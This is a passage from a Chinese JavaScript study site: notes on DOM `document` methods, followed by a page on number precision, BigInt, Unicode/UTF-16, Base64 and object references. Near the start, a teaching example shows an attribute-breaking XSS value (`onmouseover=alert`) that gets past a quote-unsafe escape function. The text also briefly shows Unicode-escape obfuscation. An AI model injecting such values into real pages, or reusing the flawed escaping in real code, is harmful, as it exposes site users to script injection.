  div.appendChild(document.createTextNode(str));
  return div.innerHTML;
};

var userWebsite = '" onmouseover="alert(\'derp\')" "';
var profileLink = '<a href="' + escapeHtml(userWebsite) + '">Bob</a>';
var div = document.getElementById('target');
div.innerHTML = profileLink;
// <a href="" onmouseover="alert('derp')" ""> Bob </a>
```

上面代码中，由于 `createTextNode` 方法不转义双引号，导致 `onmouseover` 方法被注入了代码。

#### `document.createAttribute()`

`document.createAttribute` 方法生成一个新的属性节点（`Attr` 实例），并返回它。

```js
var attribute = document.createAttribute(name);
```

`document.createAttribute` 方法的参数 `name`，是属性的名称。

```js
var node = document.getElementById('div1');

var a = document.createAttribute('my_attrib');
a.value = 'newVal';

node.setAttributeNode(a);
// 或者
node.setAttribute('my_attrib', 'newVal');
```

上面代码为 `div1` 节点，插入一个值为 `newVal` 的 `my_attrib` 属性。

#### `document.createComment()`

`document.createComment` 方法生成一个新的注释节点，并返回该节点。

```js
var CommentNode = document.createComment(data);
```

`document.createComment` 方法的参数是一个字符串，会成为注释节点的内容。

#### `document.createDocumentFragment()`

`document.createDocumentFragment` 方法生成一个空的文档片段对象（`DocumentFragment` 实例）。

```js
var docFragment = document.createDocumentFragment();
```

`DocumentFragment` 是一个存在于内存的 DOM 片段，不属于当前文档，常常用来生成一段较复杂的 DOM 结构，然后再插入当前文档。这样做的好处在于，因为 `DocumentFragment` 不属于当前文档，对它的任何改动，都不会引发网页的重新渲染，比直接修改当前文档的 DOM 有更好的性能表现。

```js
var docfrag = document.createDocumentFragment();

[1, 2, 3, 4].forEach(function (e) {
  var li = document.createElement('li');
  li.textContent = e;
  docfrag.appendChild(li);
});

var element  = document.getElementById('ul');
element.appendChild(docfrag);
```

上面代码中，文档片段 `docfrag` 包含四个 `<li>` 节点，这些子节点被一次性插入了当前文档。

#### `document.createEvent()`

`document.createEvent` 方法生成一个事件对象（`Event` 实例），该对象可以被 `element.dispatchEvent` 方法使用，触发指定事件。

```js
var event = document.createEvent(type);
```

`document.createEvent` 方法的参数是事件类型，比如 `UIEvents`、`MouseEvents`、`MutationEvents`、`HTMLEvents`。

```js
var event = document.createEvent('Event');
event.initEvent('build', true, true);
document.addEventListener('build', function (e) {
  console.log(e.type); // "build"
}, false);
document.dispatchEvent(event);
```

上面代码新建了一个名为 `build` 的事件实例，然后触发该事件。

#### `document.addEventListener()`

#### `document.removeEventListener()`

#### `document.dispatchEvent()`

这三个方法用于处理 `document` 节点的事件。它们都继承自 `EventTarget` 接口

```js
// 添加事件监听函数
document.addEventListener('click', listener, false);

// 移除事件监听函数
document.removeEventListener('click', listener, false);

// 触发事件
var event = new Event('click');
document.dispatchEvent(event);
```

#### `document.hasFocus()`

`document.hasFocus` 方法返回一个布尔值，表示当前文档之中是否有元素被激活或获得焦点。

```js
var focused = document.hasFocus();
```

注意，有焦点的文档必定被激活（active），反之不成立，激活的文档未必有焦点。比如，用户点击按钮，从当前窗口跳出一个新窗口，该新窗口就是激活的，但是不拥有焦点。

#### `document.adoptNode()`

#### `document.importNode()`

`document.adoptNode` 方法将某个节点及其子节点，从原来所在的文档或 `DocumentFragment` 里面移除，归属当前 `document` 对象，返回插入后的新节点。插入的节点对象的 `ownerDocument` 属性，会变成当前的 `document` 对象，而 `parentNode` 属性是 `null`。

```js
var node = document.adoptNode(externalNode);
document.appendChild(node);
```

注意，`document.adoptNode` 方法只是改变了节点的归属，并没有将这个节点插入新的文档树。所以，还要再用 `appendChild` 方法或 `insertBefore` 方法，将新节点插入当前文档树。

`document.importNode` 方法则是从原来所在的文档或 `DocumentFragment` 里面，拷贝某个节点及其子节点，让它们归属当前 `document` 对象。拷贝的节点对象的 `ownerDocument` 属性，会变成当前的 `document` 对象，而 `parentNode` 属性是 `null`。

```js
var node = document.importNode(externalNode, deep);
```

`document.importNode` 方法的第一个参数是外部节点，第二个参数是一个布尔值，表示对外部节点是深拷贝还是浅拷贝，默认是浅拷贝（false）。虽然第二个参数是可选的，但是建议总是保留这个参数，并设为 `true`。

注意，`document.importNode` 方法只是拷贝外部节点，这时该节点的父节点是 `null`。下一步还必须将这个节点插入当前文档树。

```js
var iframe = document.getElementsByTagName('iframe')[0];
var oldNode = iframe.contentWindow.document.getElementById('myNode');
var newNode = document.importNode(oldNode, true);
document.getElementById("container").appendChild(newNode);
```

上面代码从 `iframe` 窗口，拷贝一个指定节点 `myNode`，插入当前文档。

#### `document.createNodeIterator()`

`document.createNodeIterator` 方法返回一个子节点遍历器。

```js
var nodeIterator = document.createNodeIterator(
  document.body,
  NodeFilter.SHOW_ELEMENT
);
```

上面代码返回 `<body>` 元素子节点的遍历器。

`document.createNodeIterator` 方法第一个参数为所要遍历的根节点，第二个参数为所要遍历的节点类型，这里指定为元素节点（`NodeFilter.SHOW_ELEMENT`）。几种主要的节点类型写法如下。

* 所有节点：NodeFilter.SHOW\_ALL
* 元素节点：NodeFilter.SHOW\_ELEMENT
* 文本节点：NodeFilter.SHOW\_TEXT
* 评论节点：NodeFilter.SHOW\_COMMENT

`document.createNodeIterator` 方法返回一个“遍历器”对象（`NodeFilter` 实例）。该实例的 `nextNode()` 方法和 `previousNode()` 方法，可以用来遍历所有子节点。

```js
var nodeIterator = document.createNodeIterator(document.body);
var pars = [];
var currentNode;

while (currentNode = nodeIterator.nextNode()) {
  pars.push(currentNode);
}
```

上面代码中，使用遍历器的 `nextNode` 方法，将根节点的所有子节点，依次读入一个数组。`nextNode` 方法先返回遍历器的内部指针所在的节点，然后会将指针移向下一个节点。所有成员遍历完成后，返回 `null`。`previousNode` 方法则是先将指针移向上一个节点，然后返回该节点。

```js
var nodeIterator = document.createNodeIterator(
  document.body,
  NodeFilter.SHOW_ELEMENT
);

var currentNode = nodeIterator.nextNode();
var previousNode = nodeIterator.previousNode();

currentNode === previousNode // true
```

上面代码中，`currentNode` 和 `previousNode` 都指向同一个的节点。

**注意**：遍历器返回的第一个节点，总是根节点。

```js
pars[0] === document.body // true
```

#### `document.createTreeWalker()`

`document.createTreeWalker` 方法返回一个 DOM 的子树遍历器。它与 `document.createNodeIterator` 方法基本是类似的，区别在于它返回的是 `TreeWalker` 实例，后者返回的是 `NodeIterator` 实例。另外，它的第一个节点不是根节点。

`document.createTreeWalker` 方法的第一个参数是所要遍历的根节点，第二个参数指定所要遍历的节点类型（与 `document.createNodeIterator` 方法的第二个参数相同）。

```js
var treeWalker = document.createTreeWalker(
  document.body,
  NodeFilter.SHOW_ELEMENT
);

var nodeList = [];

while(treeWalker.nextNode()) {
  nodeList.push(treeWalker.currentNode);
}
```

上面代码遍历 `<body>` 节点下属的所有元素节点，将它们插入 `nodeList` 数组。

#### `document.execCommand()`

如果 `document.designMode` 属性设为 `on`，那么整个文档用户可编辑；如果元素的 `contenteditable` 属性设为 `true`，那么该元素可编辑。这两种情况下，可以使用 `document.execCommand()` 方法，改变内容的样式，比如 `document.execCommand('bold')` 会使得字体加粗。

```js
document.execCommand(command, showDefaultUI, input)
```

该方法接受三个参数。

* `command`：字符串，表示所要实施的样式。
* `showDefaultUI`：布尔值，表示是否要使用默认的用户界面，建议总是设为 `false`。
* `input`：字符串，表示该样式的辅助内容，比如生成超级链接时，这个参数就是所要链接的网址。如果第二个参数设为 `true`，那么浏览器会弹出提示框，要求用户在提示框输入该参数。但是，不是所有浏览器都支持这样做，为了兼容性，还是需要自己部署获取这个参数的方式。

```js
var url = window.prompt('请输入网址');

if (url) {
  document.execCommand('createlink', false, url);
}
```

上面代码中，先提示用户输入所要链接的网址，然后手动生成超级链接。注意，第二个参数是 `false`，表示此时不需要自动弹出提示框。

`document.execCommand()` 的返回值是一个布尔值。如果为 `false`，表示这个方法无法生效。

这个方法大部分情况下，只对选中的内容生效。如果有多个内容可编辑区域，那么只对当前焦点所在的元素生效。

`document.execCommand()` 方法可以执行的样式改变有很多种，下面是其中的一些：bold、insertLineBreak、selectAll、createLink、insertOrderedList、subscript、delete、insertUnorderedList、superscript、formatBlock、insertParagraph、undo、forwardDelete、insertText、unlink、insertImage、italic、unselect、insertHTML、redo。这些值都可以用作第一个参数，它们的含义不难从字面上看出来。

#### `document.queryCommandSupported()`

`document.queryCommandSupported()`方法返回一个布尔值，表示浏览器是否支持`document.execCommand()`的某个命令。

```js
if (document.queryCommandSupported('SelectAll')) {
  console.log('浏览器支持选中可编辑区域的所有内容');
}
```

#### `document.queryCommandEnabled()`

`document.queryCommandEnabled()`方法返回一个布尔值，表示当前是否可用`document.execCommand()`的某个命令。比如，`bold`（加粗）命令只有存在文本选中时才可用，如果没有选中文本，就不可用。

```js
// HTML 代码为
// <input type="button" value="Copy" onclick="doCopy()">

function doCopy(){
  // 浏览器是否支持 copy 命令（选中内容复制到剪贴板）
  if (document.queryCommandSupported('copy')) {
    copyText('你好');
  }else{
    console.log('浏览器不支持');
  }
}

function copyText(text) {
  var input = document.createElement('textarea');
  document.body.appendChild(input);
  input.value = text;
  input.focus();
  input.select();

  // 当前是否有选中文字
  if (document.queryCommandEnabled('copy')) {
    var success = document.execCommand('copy');
    input.remove();
    console.log('Copy Ok');
  } else {
    console.log('queryCommandEnabled is false');
  }
}
```

上面代码中，先判断浏览器是否支持`copy`命令（允许可编辑区域的选中内容，复制到剪贴板），如果支持，就新建一个临时文本框，里面写入内容“你好”，并将其选中。然后，判断是否选中成功，如果成功，就将“你好”复制到剪贴板，再删除那个临时文本框。

#### `document.getSelection()`

这个方法指向`window.getSelection()`

---

---
url: /skill/7fjufwyj/index.md
---
# JS 回顾 1
## 数值

### 精度

JavaScript 内部，所有数字都是以 **64 位浮点数** 形式储存，即使整数也是如此，所以，`1` 与 `1.0` 是相同的，是同一个数。

“64 位浮点数”说白了就是：**JavaScript 的 `Number` 用 64 个二进制位来存一个数字**，并且采用 **IEEE 754 的“双精度（double）浮点数”格式**。所以它既能表示整数，也能表示小数，但“底层存法”本质上都是同一种，`42.0` 和 `42` 当然就是同一个数，**JS 里不存在 `int` 这种独立类型**（ES2020 才有 BigInt）[More](https://zh.wikipedia.org/wiki/IEEE_754)

JS 中 **所有 `number` 类型的值**（不管你写的是 `42` 还是 `42.5` ，都用 **IEEE 754 双精度（64-bit float）** 来表示/存储/计算，所以“整数”和“小数”在 JS 的 `Number` 世界里 **是同一种底层格式**

```js
Number.isInteger(42)    // true
Number.isInteger(42.5)  // false
typeof 42               // "number"
typeof 42.5             // "number"
```

IEEE 754 双精度把这 64 位分成 3 段：

* **1 位**：符号位（正/负）
* **11 位**：指数（决定数量级有多大）
* **52 位**：尾数/有效数字（决定“精度”）

> **解读**
>
> 64 位被硬切成三段
>
> **格式固定**：
>
> * **第 1 位**：符号位 `S`（sign）
> * **接下来 11 位**：指数位 `E`（exponent）
> * **最后 52 位**：尾数/小数位 `F`（fraction / mantissa）
>
> ```js
> [S][EEEEEEEEEEE][FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF]
>  1       11                         52
> ```
>
> 数字 **在内存里就是一串 0 和 1**，而且 **布局这个样子** ↑，在底层（CPU / JS 引擎）里，**最终都会被编码成这样一串 64 个二进制位**。
>
> 例子 1：`1.0` 的 64 位长啥样？
>
> `1.0` 的双精度二进制是：
>
> ```js
> S = 0
> E = 01111111111
> F = 0000000000000000000000000000000000000000000000000000
> ```
>
> “拼回”成数字要进行 **规格化数**，规则是：$值=(−1)^S×(1.F)×2^(E−1023^)$
>
> `(-1)^S`：符号，S = 0 就是正
>
> `(1.F)`：有效数字，注意前面有个 **隐含的 1**（也就是“1.”开头）
>
> `E-1023`：指数要减去一个固定偏移量 1023（叫 bias）
>
> 套到 1.0 上：
>
> * S = 0 → 正数
> * E = `01111111111` 这个二进制等于 1023，所以 `E-1023 = 0`
> * F 全 0 → `1.F = 1.0000...` 就是 1
>
> 所以：
>
> $1.0=(+1)×1×2^0$
>
> 例子 2：`-2.5` 的 64 位
>
> `-2.5` 的三段是：
>
> ```js
> S = 1
> E = 10000000000
> F = 0100000000000000000000000000000000000000000000000000
> ```
>
> S = 1 → 负数
>
> `E = 10000000000` 这个二进制等于 1024，所以指数是：$E−1023=1$，也就是乘以 `2^1`（放大 2 倍）
>
> `1.F` 的意思是：**固定从 1 开头**，然后 F 是小数部分的二进制位：
>
> ```js
> 1.F = 1.0100000000...
> ```
>
> $1.F=1+0.25=1.25$
>
> $−2.5=(−1)×1.25×2^1=−2.5$
>
> **符号位** 决定负号
>
> **指数位** 决定乘以 `2^几`（把整体放大/缩小）
>
> **尾数位** 决定“精细的具体数值”（1.25 这个细节）
>
> 为什么 `0.1` 会不精确：
>
> `0.1` 的三段是：
>
> ```js
> S = 0
> E = 01111111011
> F = 1001100110011001100110011001100110011001100110011010
> ```
>
> 会发现 F 出现了 `1001 1001 1001...` 这 种循环样子
>
> 这就是因为 **0.1 用二进制表示是无限循环小数**，而尾数只有 52 位，只能截断，于是就“差一点点”。
>
> 由于无法存储无限位数，计算机（如使用标准的 **64 位双精度浮点数 IEEE 754**）只能存储其近似值。
>
> “**双精度**”（double precision）就是：**用 64 位（8 字节）来存一个浮点数的标准格式**（IEEE 754 里的一种）。
>
> 它叫“**双** 精度”，是相对“**单** 精度”来说的：
>
> * **单精度（float32）**：32 位（4 字节）
> * **双精度（float64 / double）**：64 位（8 字节）
>
> 因为位数越多，能存的“细节”越多：
>
> * 双精度能提供大约 **15~17 位十进制有效数字** 的精度
> * 单精度大约只有 **6~9 位十进制有效数字**

因为有效数字只有 **52 位（实际精度约等于 53 位二进制有效位）**，这会带来两个非常经典的后果：

后果 1：很多小数“存不准”，像 `0.1`、`0.2` 在二进制里是无限循环小数，只能截断近似，所以会出现：

```js
0.1 + 0.2 === 0.3 // false
```

后果 2：整数也不是无限精确（有“安全整数”上限）

因为精度有限，**能保证不丢精度的最大整数是 `2^53 - 1`**（也就是 `Number.MAX_SAFE_INTEGER = 9007199254740991`），超过这个范围，有些整数就会“跳格子”，相邻两个整数可能被存成同一个值。

JS 的 `Number` **最多只能保证 53 个二进制有效位**

原因：尾数 52 位，隐含的最高位 `1`，总共 53 位二进制有效数字

**安全整数范围，能被精确表示的整数范围：**

```js
-(2^53 - 1)  到  (2^53 - 1)
```

常量：

```js
Number.MAX_SAFE_INTEGER === 9007199254740991
Number.MIN_SAFE_INTEGER === -9007199254740991
```

超过 2^53 整数会开始“跳数”，相邻整数可能会被表示成 **同一个值**

```js
Math.pow(2, 53)
// 9007199254740992

Math.pow(2, 53) + 1
// 9007199254740992

Math.pow(2, 53) + 2
// 9007199254740994

Math.pow(2, 53) + 3
// 9007199254740996

Math.pow(2, 53) + 4
// 9007199254740996
```

**不是每个数都错，而是“无法保证正确”**

超过 53 位二进制精度后，**多出来的有效数字会被截断**，十进制表现为：尾部数字被“抹平”

```js
9007199254740992111
// 实际存成
9007199254740992000
```

**不是算错，是存不下**

**一个非常实用的经验法则**：JavaScript 可以精确处理：**15 位以内的十进制整数，16 位及以上：不保证**

不要用 `Number` 存：超大 ID，精确的金额（分以下），银行账号 / 身份证 / 哈希值

替代方案：BigInt，字符串，专用高精度库（如 decimal.js）

ES2020（不是 ES6）新增了一个专门处理超大整数的类型：**`BigInt`**。

* `Number`：IEEE 754 双精度，整数安全范围到 `±(2^53 - 1)`
* `BigInt`：可以表示 **任意大** 的整数（只受内存限制），不会丢精度，**BigInt 只能表示整数**

`1n` 里的这个 **`n` 是 BigInt 的字面量后缀**，意思很简单：**告诉 JavaScript：这个数字不是 Number，而是 BigInt。**

```js
1    // Number 类型（双精度浮点数）
1n   // BigInt 类型（任意精度整数）

typeof 1    // "number"
typeof 1n   // "bigint"

9007199254740993    // 已经丢精度了（Number）
9007199254740993n   // 精确（BigInt）
```

JS 默认把 **所有数字字面量都当成 `Number`**，这个 `n` 就是 **显式声明**：这是个超大整数，请用 BigInt 来存，**它只对“整数字面量”有效**

```js
// 合法
0n
123n
-999n
// 不合法
1.2n    // BigInt 不能有小数
1e3n    // 科学计数法也不行
```

BigInt 和 Number 不能直接混算，要么都用 BigInt，要么显式转换

```js
Number(1n) + 1
BigInt(1) + 1n
```

**总结**

**JavaScript 的 `Number` 不适合表示精确金额**

**错误不是“存的时候才发生”，而是“计算过程中就已经发生”**

只要使用了 `Number`，**每一步运算都可能发生精度丢失**

绝对禁止：

```js
let balance = 1234.56; // Number 存金额
balance += 0.1;
```

原因：十进制小数在 `Number` 中无法精确表示，连续加减会累积误差，结果在 **业务上不可接受**

**正确做法 1：整数化 + BigInt（强烈推荐）**

金额统一换算为最小货币单位（如“分”）进行存储和计算

```js
// 存储（单位：分）
let balance = 123456n; // ¥1234.56

// 交易
balance += 1000n;      // +¥10.00
balance -= 255n;       // -¥2.55
```

展示给用户时再格式化

```js
function formatCNY(amountInFen) {
  return `${amountInFen / 100n}.${(amountInFen % 100n).toString().padStart(2, "0")}`;
}
```

**所有整数运算完全精确**，不受 `2^53 - 1` 限制，可审计、可追责

**正确做法 2：字符串 / 高精度库（跨币种 / 利率）**

适用场景：

* 利率、汇率
* 多位小数
* 需要四舍五入规则、银行家舍入等

推荐方案：`decimal.js`，`big.js`

示意：

```js
new Decimal("0.1").plus("0.2").equals("0.3"); // true
```

后端金额字段数据库用 `BIGINT`（分），或 `DECIMAL(20, 4)`（明确精度），**禁止浮点类型存钱**，API 传输用 **字符串** 或 **整数**

***

64 位浮点数的指数部分的长度是 11 个二进制位，意味着指数部分的最大值是 2047（2 的 11 次方减 1）。

也就是说，64 位浮点数的指数部分的值最大为 2047，分出一半表示负数，则 JavaScript 能够表示的数值范围为 $2^1024$ 到 $2^-1023$（开区间），超出这个范围的数无法表示。

如果一个数大于等于 2 的 1024 次方，那么就会发生“正向溢出”，即 JavaScript 无法表示这么大的数，这时就会返回 `Infinity`。

```js
Math.pow(2, 1024) // Infinity
```

如果一个数小于等于 2 的-1075 次方（指数部分最小值-1023，再加上小数部分的 52 位），那么就会发生为“负向溢出”，即 JavaScript 无法表示这么小的数，这时会直接返回 0。

```js
Math.pow(2, -1075) // 0
```

JavaScript 提供 `Number` 对象的 `MAX_VALUE` 和 `MIN_VALUE` 属性，返回可以表示的具体的最大值和最小值。

```js
Number.MAX_VALUE // 1.7976931348623157e+308
Number.MIN_VALUE // 5e-324
```

`Number.MAX_VALUE` **Number 能表示的最大有限值**（最大“量级”），大约是 `1.7976931348623157e+308`，再大就会变成 `Infinity`

`Number.MAX_SAFE_INTEGER` 能被 Number 精确表示的最大整数，等于 `2^53 - 1`，也就是 `9007199254740991`，超过它以后：**不是一定立刻错**，但“相邻整数分不清”，整数运算不再可靠。

```js
Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2
```

**标准里没有 `BigInt.MAX_VALUE / MIN_VALUE / MAX_SAFE_INTEGER` 这类常量**。原因很直接：`BigInt` 设计目标就是“任意精度整数”，不是固定 64 位/128 位那种。

BigInt 有极限，但不是“固定上限常量”，而是 **实现与资源限制** 决定的：

* **内存**：数越大，占用的字节越多
* **时间**：加减乘除的成本会随位数增加（大数乘法/除法更明显）
* **引擎/平台限制**：不同 JS 引擎可能有自己的内部上限或防御性限制

所以工程上可以理解为：**理论上无限，实践上受内存/性能约束**。

`BigInt` 不支持 `Infinity` / `NaN`

超出能力时，通常是 **内存不足** 或引擎抛错，而不是得到一个“无穷大 BigInt”。

### 表示

> **科学计数法**：
>
> **a × 10^n**（十进制科学计数法），其中 **1 ≤ |a| < 10**
>
> * 1234000 = 1.234 × 10^6
> * 0.00056 = 5.6 × 10^-4
> * 42 = 4.2 × 10^1

JS 的“科学计数法”，通常就是 **指数表示法（exponential notation）**：用 `e` / `E` 表示“乘以 10 的多少次方”。

* `1.23e5` 读作：`1.23 × 10^5`
* `7.5e-3` 读作：`7.5 × 10^-3`

JS 代码里的 `1e3`：是 **× 10^3**（十进制表示法）

JS 内部存储：依然会转成 **IEEE 754 的 2^n** 来存（这是底层实现）

使用字面量（literal）直接表示一个数值时，JavaScript 对整数提供四种进制的表示方法：十进制、十六进制、八进制、二进制。

* 十进制：没有前导 0 的数值。
* 八进制：有前缀 `0o` 或 `0O` 的数值，或者有前导 0、且只用到 0-7 的八个阿拉伯数字的数值。
* 十六进制：有前缀 `0x` 或 `0X` 的数值。
* 二进制：有前缀 `0b` 或 `0B` 的数值。

默认情况下，JavaScript 内部会自动将八进制、十六进制、二进制转为十进制。

通常来说，有前导 0 的数值会被视为八进制，但是如果前导 0 后面有数字 `8` 和 `9`，则该数值被视为十进制。

前导 0 表示八进制，处理时很容易造成混乱，ES5 的严格模式和 ES6，已经废除了这种表示法，但是浏览器为了兼容以前的代码，目前还继续支持这种表示法。

`NaN` 是 JavaScript 的特殊值，表示“非数字”（Not a Number），主要出现在将字符串解析成数字出错的场合。

`NaN` 不是独立的数据类型，而是一个特殊数值，它的数据类型依然属于 `Number`，使用 `typeof` 运算符可以看得很清楚。

`NaN` 不等于任何值，包括它本身，`NaN` 在布尔运算时被当作 `false`，`NaN` 与任何数（包括它自己）的运算，得到的都是 `NaN`。但是，ES6 引入指数运算符（`**`）后，`NaN ** 0 // 1`

`Infinity` 表示“无穷”，用来表示两种场景。一种是一个正的数值太大，或一个负的数值太小，无法表示；另一种是非 0 数值除以 0，得到 `Infinity`。

### 方法

#### parseInt()

`parseInt` 方法用于将字符串转为 **整数**，如果字符串头部有空格，空格会被自动去除，如果 `parseInt` 的参数不是字符串，则会先转为字符串再转换。

字符串转为整数的时候，是一个个字符依次转换，如果遇到不能转为数字的字符，就不再进行下去，返回已经转好的部分。

如果字符串的第一个字符不能转化为数字，返回 `NaN`。

`parseInt` 方法还可以接受第二个参数（2 到 36 之间），表示被解析的值的进制，返回该值对应的十进制数。默认情况下，`parseInt` 的第二个参数为 10，即默认是十进制转十进制。

#### parseFloat()

`parseFloat` 方法用于将一个字符串转为浮点数。

如果字符串包含不能转为浮点数的字符，则不再进行往后转换，返回已经转好的部分。

如果参数不是字符串，则会先转为字符串再转换。

#### isNaN()

`isNaN` 方法可以用来判断一个值是否为 `NaN`。

```js
isNaN(NaN) // true
isNaN(123) // false
```

`isNaN` 只对数值有效，如果传入其他值，会被先转成数值。

比如，传入字符串的时候，字符串会被先转成 `NaN`，所以最后返回 `true`，这一点要特别引起注意。

也就是说，`isNaN` 为 `true` 的值，有可能不是 `NaN`，而是一个字符串。

判断 `NaN` 更可靠的方法是，利用 `NaN` 为唯一不等于自身的值的这个特点，进行判断：

```js
function myIsNaN(value) {
  return value !== value;
}
```

#### isFinite()

`isFinite` 方法返回一个布尔值，表示某个值是否为正常的数值。

```js
isFinite(Infinity) // false
isFinite(-Infinity) // false
isFinite(NaN) // false
isFinite(undefined) // false
isFinite(null) // true
isFinite(-1) // true
```

## 字符串

反斜杠（\）在字符串内有特殊含义，用来表示一些特殊字符，所以又称为转义符。

JavaScript 使用 Unicode 字符集，JavaScript 引擎内部，所有字符都用 Unicode 表示。

> Unicode 是一套标准：**规定每个字符对应一个编号**（码点 code point），比如：`A` 是 `U+0041`，中 `是` U+4E2D，😀 是 `U+1F600`，这一步只是在说：**“这个字符编号是多少”**，还没说怎么存。
>
> 它规定了一个巨大的“字符表”，**每个字符都有一个唯一编号**，叫 **码点（code point）**，码点常写成 `U+XXXX` 这种形式，比如 雪人：`U+2603`（☃），JS 中 `\u2603"` 会得到 ☃
>
> UTF-16 是一种编码方式：把 Unicode 码点编码成 **16 位一组的单元**（码元 code unit）。
>
> * 如果码点在 `U+0000 ~ U+FFFF`（叫 BMP，基本多文种平面），UTF-16 用 **1 个 16 位码元** 就能表示。
> * 如果码点更大（比如很多 emoji 在 `U+10000` 以上），UTF-16 要用 **2 个 16 位码元**（代理对 surrogate pair）来表示。
>
> `中 (U+4E2D)` → UTF-16：1 个码元
>
> `😀 (U+1F600)` → UTF-16：2 个码元
>
> `"😀".length` 常常是 2：因为 `length` 数的是 **UTF-16 码元**，不是你眼睛看到的“字符个数”。

JavaScript 不仅以 Unicode 储存字符，还允许直接在程序中使用 Unicode 码点表示字符，即将字符写成 `\uxxxx` 的形式，其中 `xxxx` 代表该字符的 Unicode 码点。比如，`\u00A9` 代表版权符号。

解析代码的时候，JavaScript 会自动识别一个字符是字面形式表示，还是 Unicode 形式表示，输出给用户的时候，所有字符都会转成字面形式。

```js
var f\u006F\u006F = 'abc';
foo // "abc"
```

在代码中，`"\u2603"` 叫 **Unicode 转义序列**，表示“码点/码元对应的字符”。

关键点：

* 老形式：`\uXXXX` **只能写 4 位十六进制**，只能覆盖 `U+0000 ~ U+FFFF`（BMP）。
* ES6 新形式：`\u{...}` 叫 **码点转义（code point escaping）**，可以写到 `0x10FFFF`，所以能直接写增补平面字符，比如：`\u{1D11E}`（𝄞）。

在 ES6 之前如果你想写 BMP 外字符，只能用 **代理对** 两段拼起来：`"\uD834\uDD1E"` 才能得到同一个 𝄞。

Unicode  也可以用于代码混淆，叫 **Unicode escape / string escape 形式的混淆**，把源码里原本的可读字符（字母、关键字、字符串内容等）替换成一堆 `\uXXXX` / `\xNN` 这种转义序列，看起来像“全变成 Unicode 了”。

```js
console.log("hi");
// 等价于
\u0063\u006F\u006E\u0073\u006F\u006C\u0065.\u006C\u006F\u0067("\u0068\u0069");
```

JavaScript 的字符串 **基于 Unicode 语义**，但 **内部和许多旧 API 按 UTF-16 的 16 位码元（2 字节）工作**。

**可以理解为**：Unicode 负责“这个字符是什么（编号是多少）”，UTF-16 负责“JS 字符串把它怎么存、很多老 API 怎么数”。

**UTF-16 的两种情况**：

**码点在 `U+0000 ~ U+FFFF`（BMP）**  → 使用 **1 个 UTF-16 码元**（16 位 / 2 字节）

码点在 `U+10000 ~ U+10FFFF`（增补平面）→ 使用 **2 个 UTF-16 码元**（代理对，共 32 位 / 4 字节）

* 高代理：`0xD800 ~ 0xDBFF`
* 低代理：`0xDC00 ~ 0xDFFF`

𝌆 的 Unicode 码点是 `U+1D306`，UTF-16 表示为：`0xD834 0xDF06`

JavaScript **并不是不支持 UTF-16**，而是 JS 把“字符串长度、索引、charAt、charCodeAt”等概念，固定定义为“16 位码元”级别。

原因是：JS 诞生时，Unicode 只到 `U+FFFF`，当时 **1 个字符 = 2 字节** 是成立的，后来 Unicode 扩展了，但 JS 的字符串模型已经定型

'𝌆'的 length 是 2，JS **能显示这个字符**，但在字符串 API 眼里，它是 **两个码元 ≈ 两个“字符单位”**。

**所以**：**JavaScript 的 `length` 不是“字符数”，而是 UTF-16 码元数**

对于 `U+10000 ~ U+10FFFF` 的字符 **JS 永远认为它们“长度是 2”**

## Base64 转码

早期计算机通信里，**数据 ≠ 文字**，ASCII 最早定义了 **0～127**：

`32 ~ 126`：可打印字符（字母、数字、标点）

`0 ~ 31`：**控制字符**，比如：换行、回车、响铃、暂停传输，设计给“设备/协议用的”，不是给人看的

这些字符在屏幕上 **没有形状**，放进文本里容易 **破坏格式或传输协议**，所以它们叫：**不可打印字符**。

ASCII 本质是 **“7 位字符编码表”**（0～127），它的时代背景是：英文世界，电传机 / 终端，极端省空间，所以只能表示英文，没有中文、emoji，但 **非常稳定、所有系统都认识**

Base64 是一种“把任意二进制数据，安全地伪装成纯文本”的编码方式，将 **任意二进制数据** 转换成由
`0–9、A–Z、a–z、+、/` 这 **64 个可打印字符** 组成的文本。

它的目标只有一个：**避免出现“特殊字符”，让数据能顺利通过“只认文本”的通道**，不是加密，也不压缩。

二进制数据里可能包含控制字符，它们会破坏文本协议，Base64 可以把这些数据“伪装成安全文本”

很多地方 **只能传文本**，不能传原始二进制，比如：JSON，HTML，URL，HTTP header，但你偏偏想传图片，文件，压缩包，音频，加密后的字节流，这些都是 **二进制数据**。

解决方案：**把二进制 → Base64 → 文本 → 传输 → 再还原**

任何数据都可以都能转 Base64 ，任意数据（字节） → Base64 → 可打印字符，所以完全可以 PDF → Base64，PDF → Base64，ZIP → Base64，`data:image/png;base64,...` 就是典型例子

JS 的 `btoa / atob` 不支持中文，因为 **它们是“按字节（Latin1 / ASCII）工作的”，不是按 Unicode 字符工作的**，JS 字符串是 Unicode，`btoa` 只接受 **0～255 的字节序列**，中文字符早就超出这个范围

```js
btoa()  // ASCII / Latin1 → Base64
atob()  // Base64 → ASCII / Latin1
```

JS 中正确处理中文的方式

```js
function b64Encode(str) {
  return btoa(encodeURIComponent(str));
}

function b64Decode(str) {
  return decodeURIComponent(atob(str));
}
```

## 对象

### 引用

如果不同的变量名指向同一个对象，那么它们都是这个对象的引用，也就是说 **指向同一个内存地址**，**修改其中一个变量，会影响到其他所有变量**。

```js
var o1 = {};
var o2 = o1;

o1.a = 1;
o2.a // 1

o2.b = 2;
o1.b // 2
```

如果取消某一个变量对于原对象的引用，不会影响到另一个变量

```js
var o1 = {};
var o2 = o1;

o1 = 1;
o2 // {}
```

也就是说需要分清 **是在改同一个对象，还是把变量指向了另一个值**。

* `o1.a = 1`：**修改对象本身（mutate）**，对象的引用不变
* `o1 = 1`：**替换变量指向（rebind）**，`o1` 不再指向原对象

`o1 = {}` 这种“直接赋值一个新对象”本质就是把 `o1` 的引用换掉了

### 删除

`delete` 命令用于删除对象的属性，删除成功后返回 `true`

```js
delete obj.p // true
```

**注意**：删除一个不存在的属性，`delete` 不报错，而且返回 `true`

还有一种情况，`delete` 命令会返回 `false`，那就是该属性存在，且不得删除

```js
var obj = Object.defineProperty({}, 'p', {
  value: 123,
  configurable: false
});

obj.p // 123
delete obj.p // false
```

**注意**：`delete` 命令只能删除对象本身的属性，无法删除继承的属性，即使 `delete` 返回 `true`，该属性依然可能读取到值

也就是说 `delete` **只影响“自己那层”**，原型链上的属性是删不到的，除非你去原型对象上删

### in

`in` 运算符用于检查对象是否包含某个属性（注意，检查的是键名，不是键值），如果包含就返回 `true`，否则返回 `false`。

它的左边是一个字符串，表示属性名，右边是一个对象。

